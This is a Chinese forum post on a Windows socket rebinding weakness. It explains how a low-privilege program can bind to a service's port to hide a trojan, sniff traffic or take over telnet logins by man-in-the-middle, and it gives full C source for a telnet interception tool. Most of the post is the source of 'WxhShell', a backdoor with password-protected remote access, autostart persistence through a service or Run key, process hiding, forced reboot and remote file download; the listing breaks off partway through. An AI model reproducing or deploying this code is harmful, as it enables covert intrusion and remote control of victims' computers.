社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15366阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^V,@=QL3U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2o}8W7y  
R7t bxC  
  saddr.sin_family = AF_INET; Bcm=G""  
<Am^z~[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /2'c>  
_ ^3@PM>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]eL~L_[G\  
cFxSDTR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h=mv9=x  
F~P/*FFK  
  这意味着什么?意味着可以进行如下的攻击: %J3lK]bv(  
JgZdS-~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ua!Odju*w  
Ot"(uW4$[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "lb\c  
,dq`EsHg`M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "p2u+ 8?  
,DQ >&_DK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -*5yY#fw}  
$q=hcu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4t(QvIydA  
xKisL=l6Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J2x$uO{Bn  
kfIbgya   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6q!7i%fK?  
5vl2yN  
  #include lHRK'? Q  
  #include ob)D{4B'  
  #include ;+! xZOmm  
  #include    34^Q5B~^J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |c BHBd  
  int main() %0go%_  
  { !vi4* @:  
  WORD wVersionRequested; <kk'v'GW@  
  DWORD ret; >4Fd xa  
  WSADATA wsaData; NdaM9a#TZ  
  BOOL val; +# A|Zp<  
  SOCKADDR_IN saddr; P/HHWiD`D  
  SOCKADDR_IN scaddr; "otr+.{`*  
  int err; :1%VZvWk*  
  SOCKET s; 7Co3P@@  
  SOCKET sc; *YMXiYJR  
  int caddsize; %,h!: Ec^c  
  HANDLE mt; LH1BZ(5g  
  DWORD tid;   1"N/ZKF-x  
  wVersionRequested = MAKEWORD( 2, 2 ); F12S(5Z0%  
  err = WSAStartup( wVersionRequested, &wsaData ); `\6 +z  
  if ( err != 0 ) { :a#|  
  printf("error!WSAStartup failed!\n"); B/[hi%~  
  return -1; qLU15cOM  
  } s2kGU^]y  
  saddr.sin_family = AF_INET; Iht mD@H}  
   Sf#\6X<B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6uv'r;U]  
8JFnB(3xU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mJU>f-l  
  saddr.sin_port = htons(23); |rG8E;>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +A;n*DF2  
  { R A-^!4tX  
  printf("error!socket failed!\n"); #h}IUR  
  return -1; `XFX`1  
  } iGpK\oH  
  val = TRUE; _CYmG"mY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6tCV{pgm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +sV#Z,  
  { S S7D1  
  printf("error!setsockopt failed!\n"); _Y:Ja0,  
  return -1; T= iZ9w  
  } fbW,0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i:NJ>b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l[ZQ7$kL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t\E-6u  
!ds"88:5^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [v>Z(  
  { o)$Q]N##  
  ret=GetLastError(); {g23[$X]N  
  printf("error!bind failed!\n"); ~50y-  
  return -1; QZz{74]n  
  } , .NG.Q4f  
  listen(s,2); C>\h?<s  
  while(1) 1GyAQHx,  
  { I*`=[nR  
  caddsize = sizeof(scaddr); (PE8H~d  
  //接受连接请求 -hJ>wGI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q:Nwy(,I  
  if(sc!=INVALID_SOCKET) } (O D<  
  { l%Fse&4\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OGD8QD  
  if(mt==NULL) ,sQ0atk7ma  
  { HnYFE@Nl:U  
  printf("Thread Creat Failed!\n"); bo?3E +B  
  break; C$Hl`>?$  
  } $=S'#^Z  
  } A(!ZZ9 Wc  
  CloseHandle(mt); }tS6Z:fOY  
  } 0ga1Yr]  
  closesocket(s); WEY97_@  
  WSACleanup(); dOYmt,  
  return 0; 6{,K7FL  
  }   dp%pbn6w  
  DWORD WINAPI ClientThread(LPVOID lpParam) j@_) F^12  
  { [?K\%]  
  SOCKET ss = (SOCKET)lpParam; %NAFU /&  
  SOCKET sc; ;Kd{h  
  unsigned char buf[4096]; (w@MlMk  
  SOCKADDR_IN saddr; VTgbJ {?  
  long num; 2 vJ[vsrFv  
  DWORD val; lXL7q?,9  
  DWORD ret; G:6$P%.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "}~i7NBB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^J}$y7  
  saddr.sin_family = AF_INET; i2%m}S;D9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4\eX=~C>:  
  saddr.sin_port = htons(23); lVp~oZC6[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j[=_1~u}  
  { SYW= L  
  printf("error!socket failed!\n"); :Kc0ak)<n  
  return -1; meVVRFQ2+  
  } GPqB\bxb'  
  val = 100; 6+f>XL#w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EwBN+v;)  
  { SAxa7B/U2  
  ret = GetLastError(); {@F["YPxy  
  return -1; R_*D7|v  
  } 2;(iTPz +  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'V9aB5O&  
  { x_iy;\s1  
  ret = GetLastError(); ?`*-QG}  
  return -1; AqKx3p6  
  } X.4ZLwX=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `6/Yf@b  
  { S%gO6&^  
  printf("error!socket connect failed!\n"); HtXBaIl\  
  closesocket(sc); *Wo$ $T  
  closesocket(ss); !m:PBl5  
  return -1; "M#`y!__  
  } RDZh>K PG  
  while(1) bz@=zLBt  
  { j[Zni D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =O:ek#Bp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 > FcA ,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8cPf0p:  
  num = recv(ss,buf,4096,0); BNoCE!  
  if(num>0) Gv nclnG  
  send(sc,buf,num,0); f<U m2YGW  
  else if(num==0) <UHWy&+z&  
  break; \ui~n:aWJ  
  num = recv(sc,buf,4096,0); .VEfd4+ni{  
  if(num>0) it|:P  
  send(ss,buf,num,0); M|kDys  
  else if(num==0) 9X&qdA/q  
  break; j#>![km Mu  
  } SR8Kzk{  
  closesocket(ss); Ri6 br  
  closesocket(sc); )n[Mh!mn  
  return 0 ; ./*,Thc  
  } lGBdQc]IL  
G`lhvpifG  
<21^{ yt1  
========================================================== FT<*  
im[gbac  
下边附上一个代码,,WXhSHELL v6Wf7)d/1  
QAnfxt6  
========================================================== UT7lj wT  
uqeWdj*Y  
#include "stdafx.h" Kf<_A{s  
>5:e1a?9  
#include <stdio.h> nln[V$   
#include <string.h> Q>g$)-8  
#include <windows.h> )g^Ewzy^X  
#include <winsock2.h> gm$MEeC  
#include <winsvc.h> ]@T `q R  
#include <urlmon.h> \ iSBLU  
cDyC&}:f  
#pragma comment (lib, "Ws2_32.lib") 0=zS&xM  
#pragma comment (lib, "urlmon.lib") KCT"a :\  
P>Rqy  
#define MAX_USER   100 // 最大客户端连接数 {v/6|  
#define BUF_SOCK   200 // sock buffer JT^0AZ_*  
#define KEY_BUFF   255 // 输入 buffer <Py/uF|  
\)kAhKtG  
#define REBOOT     0   // 重启 emIbGkH  
#define SHUTDOWN   1   // 关机 FdHWF|D  
m 4LM10  
#define DEF_PORT   5000 // 监听端口 +N&(lj  
@CUDD{1o  
#define REG_LEN     16   // 注册表键长度 h;[Nc j]  
#define SVC_LEN     80   // NT服务名长度 [M>_(u6  
D];([:+4  
// 从dll定义API e2ZUl` {g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =B%e0M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZWEzL$VWi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ub&29Qte  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hKeh9 Bt  
o-Arfc3Q  
// wxhshell配置信息 M_I\:Q  
struct WSCFG { >9|+F [Fc  
  int ws_port;         // 监听端口 9DKB+K.1  
  char ws_passstr[REG_LEN]; // 口令 8}@a?QS(&  
  int ws_autoins;       // 安装标记, 1=yes 0=no G<1mj!{Vp  
  char ws_regname[REG_LEN]; // 注册表键名 +q%goG8  
  char ws_svcname[REG_LEN]; // 服务名 " N4]e/.V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 El} z^e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 th|Q NG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +-V?3fQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P .(X]+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X[6 z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?! Gt. fb  
>X)G`N@ !  
}; FM];+d0  
`r Ql{$9IC  
// default Wxhshell configuration  }"tYb6*  
struct WSCFG wscfg={DEF_PORT, +R$KEGu~0Y  
    "xuhuanlingzhe", Z^S!w;eu  
    1, xy>mM"DOH  
    "Wxhshell", Pw{+7b$  
    "Wxhshell", fsu "Lc  
            "WxhShell Service", _Z&R'`kg  
    "Wrsky Windows CmdShell Service", U5=J;[w}N  
    "Please Input Your Password: ", %Kp}Wo6  
  1, T94$}- 5/)  
  "http://www.wrsky.com/wxhshell.exe", 5H2|:GzUc  
  "Wxhshell.exe" \3/'#  
    }; *^ BE1-  
\ 3N#%  
// 消息定义模块 Fsh-a7Qp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fjb[Ev  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #$E vybETx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8Qh/=Ir  
char *msg_ws_ext="\n\rExit."; u:$x,Q  
char *msg_ws_end="\n\rQuit."; 0Jr< >7Q1  
char *msg_ws_boot="\n\rReboot..."; $'Z!Y;Ue  
char *msg_ws_poff="\n\rShutdown..."; MiRB*eA  
char *msg_ws_down="\n\rSave to "; KNhH4K2iP8  
wd *Jq  
char *msg_ws_err="\n\rErr!"; {[+gM?  
char *msg_ws_ok="\n\rOK!"; arJ[.f9s  
sYzG_* )  
char ExeFile[MAX_PATH]; oCS NA.z  
int nUser = 0; .wywO|  
HANDLE handles[MAX_USER]; WjB[e>  
int OsIsNt; [(mq8Nb  
(ym)q#^  
SERVICE_STATUS       serviceStatus; zoU.\]#C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M}>q>  
{ig@Iy~DT  
// 函数声明 =zKp(_[D  
int Install(void); Gmb57z&:  
int Uninstall(void); $O#h4L_  
int DownloadFile(char *sURL, SOCKET wsh); iu .{L(m  
int Boot(int flag); E:ytdaiT  
void HideProc(void); ~Y(M>u.+!  
int GetOsVer(void); Dcf`+?3  
int Wxhshell(SOCKET wsl); f  W )  
void TalkWithClient(void *cs); tkmW\  
int CmdShell(SOCKET sock); +J} 41  
int StartFromService(void); Smp+}-3O  
int StartWxhshell(LPSTR lpCmdLine); -:QyWw/d  
y-U(`{[nM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  <KpQu%2(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~gf $ L9  
7]Egu D4  
// 数据结构和表定义 &P;x<7h$t?  
SERVICE_TABLE_ENTRY DispatchTable[] = :1iw_GhJf  
{ qrdI"  
{wscfg.ws_svcname, NTServiceMain}, z(ajR*\#  
{NULL, NULL} (R, eWWF8~  
}; 8P 8"dN[  
;Cwn1N9S  
// 自我安装 IO+z:D{  
int Install(void) &+ IXDU  
{ gSC@uf  
  char svExeFile[MAX_PATH]; ps]6,@uyB  
  HKEY key; !"kvXxp^  
  strcpy(svExeFile,ExeFile); .q=X58tHu  
_YY)-H  
// 如果是win9x系统,修改注册表设为自启动 _FV.}%W<u  
if(!OsIsNt) { 5*CwQJC<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l*eA ?Qz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,iyIF~1~#>  
  RegCloseKey(key); /\9Kr;@vk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Yv5Sw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FR <wp  
  RegCloseKey(key); &.}zZ/  
  return 0; 9we=aX5  
    } g (~&  
  } ]Cj&C/(  
} P$Dr6;  
else { DFiexOb  
WRgz]=W3w  
// 如果是NT以上系统,安装为系统服务 _+{s^n=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dU\fC{1Z  
if (schSCManager!=0) suVS!} C  
{ qUo(hbp  
  SC_HANDLE schService = CreateService 1 ID! rxE  
  ( >[p+L='  
  schSCManager, 8dpVB#]pp,  
  wscfg.ws_svcname, acH.L _B:  
  wscfg.ws_svcdisp, BP7_o63/G  
  SERVICE_ALL_ACCESS, HG^8&uh]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )KNFS,5  
  SERVICE_AUTO_START, FUH1Z+9  
  SERVICE_ERROR_NORMAL, 0QPipuP  
  svExeFile, 3drgB;:g`  
  NULL, HqbTJ!a  
  NULL, ?]})Xf.A  
  NULL, >?kt3.IQ!X  
  NULL, <sTa Xaq?  
  NULL hOq1 "kL  
  ); &8(2U-  
  if (schService!=0) JvG t=v  
  { |9g*rO  
  CloseServiceHandle(schService); cx02b-O  
  CloseServiceHandle(schSCManager); R38 w!6{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mdk:2ndP  
  strcat(svExeFile,wscfg.ws_svcname); (d (whlF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o;O_N^_W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uIR_p \)  
  RegCloseKey(key); FPqgncBHK  
  return 0; BG|Kw)z*KM  
    } 4Qw!YI#40$  
  } UeVF@rw  
  CloseServiceHandle(schSCManager); H'Po  
} 41:Z8YL(  
} mX#T<_=d  
XnNK )dUT}  
return 1; )S`A+M K]  
} \UiuJ+  
wU=(_S,c  
// 自我卸载 _[<I&^%  
int Uninstall(void) UVUHLu|^  
{ ]M2>%Dvw  
  HKEY key; y_'8m9Qy)  
u%T.XgY=j  
if(!OsIsNt) { 0D\FFfs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { { u;ntDr  
  RegDeleteValue(key,wscfg.ws_regname); ~"LOw_BRh  
  RegCloseKey(key); ^awl-CG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sy8Og] a  
  RegDeleteValue(key,wscfg.ws_regname); 1mB6rp  
  RegCloseKey(key); gU 8'7H2  
  return 0; is6JS^Q  
  } h rZ\ O?j  
} 2. |Y  
} vzVl2  
else { wwF20  
Hj5b.fB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UH)A n:9  
if (schSCManager!=0) ;DRJL   
{ [6c{t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W}EO]A%f.\  
  if (schService!=0) NSxDCTw  
  { 'SuYNA)  
  if(DeleteService(schService)!=0) { *:_.cbo  
  CloseServiceHandle(schService); }e82e  
  CloseServiceHandle(schSCManager); 3fGy  
  return 0; Q@M,:0+cy  
  } > sUk6Z~  
  CloseServiceHandle(schService); 7%o\O{,U  
  } ' rXkTm1{  
  CloseServiceHandle(schSCManager); &"d4J?io`  
} (g   
}  Z3I<  
uD+;5S]us  
return 1; }+u<^7$g|  
} lfCoL@$6D  
aZmSCi:&'  
// 从指定url下载文件 $ccI(J`zux  
int DownloadFile(char *sURL, SOCKET wsh) -]N/P{=L  
{ Ex~OT  
  HRESULT hr; |vGz 1jLV  
char seps[]= "/"; W/+|dN{O+g  
char *token; AN^;~m^  
char *file; Vls*fY:W  
char myURL[MAX_PATH]; PI }A')Nq.  
char myFILE[MAX_PATH]; O-G4^V8  
YRB,jwne  
strcpy(myURL,sURL); c.NAUe_3  
  token=strtok(myURL,seps); ZY {,//  
  while(token!=NULL) vZ|m3;X  
  { 03# r F@e  
    file=token; 7|H !(a'  
  token=strtok(NULL,seps); A/ GEDG ?  
  } dGZVWEaPfx  
>\MV/!W  
GetCurrentDirectory(MAX_PATH,myFILE); %vMi kibI  
strcat(myFILE, "\\"); ][D<J0  
strcat(myFILE, file); [<bfwTFsl  
  send(wsh,myFILE,strlen(myFILE),0); U+nwLxe'  
send(wsh,"...",3,0); b PiJCX0d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (3 B; V  
  if(hr==S_OK) Z~$fTW6g  
return 0; 1 aIJ0#nE  
else UiW( /L  
return 1; @| r*yi  
~,dj)x 3M  
} RaG-9gujI  
nz+DPk["  
// 系统电源模块 hCc I >[H5  
int Boot(int flag) z]~B@9l  
{ =XyK/$  
  HANDLE hToken; 1vi<@i,  
  TOKEN_PRIVILEGES tkp; / [:@j+n\  
CShVJ:u+K\  
  if(OsIsNt) { tOS%.0W5J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QD q2<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); omY%sQ{)  
    tkp.PrivilegeCount = 1; q4Qm: |-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Rm"lRkY4I[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {b8!YbG  
if(flag==REBOOT) { p~$\@8@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2-. g>'W  
  return 0; vUY?Eb[  
} tbl!{Qwx  
else { p;U[cGHC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C.FGi`rrm  
  return 0; dGr Ow)  
} &(IL`%  
  } ) yRC$7I  
  else { ^7vh ize  
if(flag==REBOOT) { (/Hq8o-Fw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WOz dYeeG  
  return 0; w'#VN|;;!  
} LPvyfD;Zy  
else { G]=U=9ZI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4cTJ$" v  
  return 0; gU0}.b  
} (S =::ODU  
} 'h([Y8p{  
w(<; $9  
return 1; VsNqYFHes&  
} f8 B*D4R}  
 QSmE:Y  
// win9x进程隐藏模块 hm&{l|u{RU  
void HideProc(void) P)tXU  
{ j}X4#{jgC  
67~m9pk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;yx+BaG~?  
  if ( hKernel != NULL ) kZWc(LwA  
  { tQF7{F-}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4;7<)&#h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7E%ehM6Y  
    FreeLibrary(hKernel); VQ$=F8ivG  
  } "/O0j/lm  
OHR9u  
return; ghx8dX}  
} +[zrU`!@  
Q{Jz;6"  
// 获取操作系统版本 7?]gUrE  
int GetOsVer(void) e-]k{_wm  
{ mO?G[?*\  
  OSVERSIONINFO winfo; u> %r(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  i('z~  
  GetVersionEx(&winfo); Km 'd=B>Jy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mRW(]OFIai  
  return 1; \fKv+  
  else N2~z&y8.  
  return 0; <bid 6Q0|  
} Qv?jo(]  
8=SNLO  
// 客户端句柄模块 <D 5QlAN  
int Wxhshell(SOCKET wsl) W35nnBU  
{ V}J W@  
  SOCKET wsh; *;}!WDr  
  struct sockaddr_in client; "Fke(?X'  
  DWORD myID; 1X{A}9nA  
: i(h[0  
  while(nUser<MAX_USER) XkNi 'GJf  
{ 7O{\^Jz1  
  int nSize=sizeof(client); zJV4)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  %"z W]  
  if(wsh==INVALID_SOCKET) return 1; S1=c_!q%9  
'1mygplW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A1Zu^_y'  
if(handles[nUser]==0) Z>{8FzP.F  
  closesocket(wsh); l9<+4rK2  
else [OT@gp:  
  nUser++; d82IEhZ#  
  } ( {8Q=Gh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a$KM q>  
P "%/  
  return 0; .N5"IY6>  
} P EbB0GL  
OrH&dY  
// 关闭 socket &B3kzs  
void CloseIt(SOCKET wsh) !k[ zUti  
{ 3Fr}8Dy  
closesocket(wsh); aTPpE9Pa&  
nUser--; L@+j8[3BX  
ExitThread(0); 5}By2Tx  
} 7kb`o y;(^  
fG.w;Aemv5  
// 客户端请求句柄 ``O\'{o&  
void TalkWithClient(void *cs) ;DGWUK.U[H  
{ ~L1N1Z)Kk  
:<jf}[w!  
  SOCKET wsh=(SOCKET)cs; jRBx7|ON  
  char pwd[SVC_LEN]; QzS{2Y[OQ  
  char cmd[KEY_BUFF]; 8m 9G^s`[  
char chr[1]; 3;Xs`dk  
int i,j; JlH|=nIaj6  
N* z<VZ  
  while (nUser < MAX_USER) { 5Q^~Z},  
@emZwN"m  
if(wscfg.ws_passstr) { TS%cTh'ItH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #VrT)po+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vi=yR  
  //ZeroMemory(pwd,KEY_BUFF); O_:Q#  
      i=0; O/5W-u  
  while(i<SVC_LEN) { } M1<a4~  
+\E\&^ZQ  
  // 设置超时 Xau.4&\d  
  fd_set FdRead; 1ri#hm0x\  
  struct timeval TimeOut; .Kv@p jOr  
  FD_ZERO(&FdRead); C= Zuy^  
  FD_SET(wsh,&FdRead); Z-~^)lo  
  TimeOut.tv_sec=8; g)"6|Z?D"  
  TimeOut.tv_usec=0; qa Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >0m-S :lk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ex Qld  
P_Z o}.{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^8\pJg_0  
  pwd=chr[0]; InDR\=o  
  if(chr[0]==0xd || chr[0]==0xa) { y}3V3uqK  
  pwd=0; xNONf4I:6J  
  break; ]A\n>Z!;  
  } Ylf6-FbF  
  i++; 0|U<T#t8?  
    } FJD*A`a  
UC0 yrV  
  // 如果是非法用户,关闭 socket {wm  `  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ky=&C8b<  
} H4pjtVBr  
=];FojC6I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n[clYi@e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6$z UFIk  
\K4m~e@!  
while(1) { ''(T3;^ +  
;P{ *'@  
  ZeroMemory(cmd,KEY_BUFF); HgMDw/D(  
:r6 bw  
      // 自动支持客户端 telnet标准   E6US  
  j=0; k4|YaGhf  
  while(j<KEY_BUFF) { W}e5 4-lu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9*x9sfCv9  
  cmd[j]=chr[0]; iGp@P=;m  
  if(chr[0]==0xa || chr[0]==0xd) { "47nc1T+n  
  cmd[j]=0; $;">/ "7m  
  break; Di L@NU!$q  
  } g"!B |  
  j++; Rw7Q[I5z%  
    } L2:C6Sc  
!nd*U}q  
  // 下载文件 rUuM__;d  
  if(strstr(cmd,"http://")) { vbWX`skU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -}>Q0d)  
  if(DownloadFile(cmd,wsh)) CR _A{(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qzH97<M}T  
  else rVO+ vhih  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $V+ze*ra  
  } N@) D,~  
  else { [`:\(( 8  
S5XFYQ  
    switch(cmd[0]) { 6Y=$7%z  
  Axcm~ !uf  
  // 帮助 'tdjPdw  
  case '?': { 18`?t_8g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z$@Juv&>5^  
    break; d) > if<o  
  } 0)nU[CY  
  // 安装 Nc7YMxk'H  
  case 'i': { avT>0b:  
    if(Install()) [bZXzV(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N#UyAm<9  
    else )UxF lp;\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LsLsSV  
    break; .qHgQ_%  
    } /2YI!U@A  
  // 卸载 8'f:7KF  
  case 'r': { T+gqu &9R  
    if(Uninstall()) t n}9(Oa)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OW6i2>Or  
    else zIlQqyOQ8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3n,F5?! m  
    break; Q2+e`  
    } }?H|9OS  
  // 显示 wxhshell 所在路径 \oaO7w,:"  
  case 'p': { DSQ2z3s2  
    char svExeFile[MAX_PATH]; -ERDWY  
    strcpy(svExeFile,"\n\r"); b>o38(  
      strcat(svExeFile,ExeFile); k6$.pCH6  
        send(wsh,svExeFile,strlen(svExeFile),0); T]0qd^\4w  
    break; 7H=/FT?e]  
    } uu'~[SZlL  
  // 重启 =WHdy;  
  case 'b': { |J8c|h<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L-q.Q  
    if(Boot(REBOOT)) \`x$@s?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0dXWy`Mn  
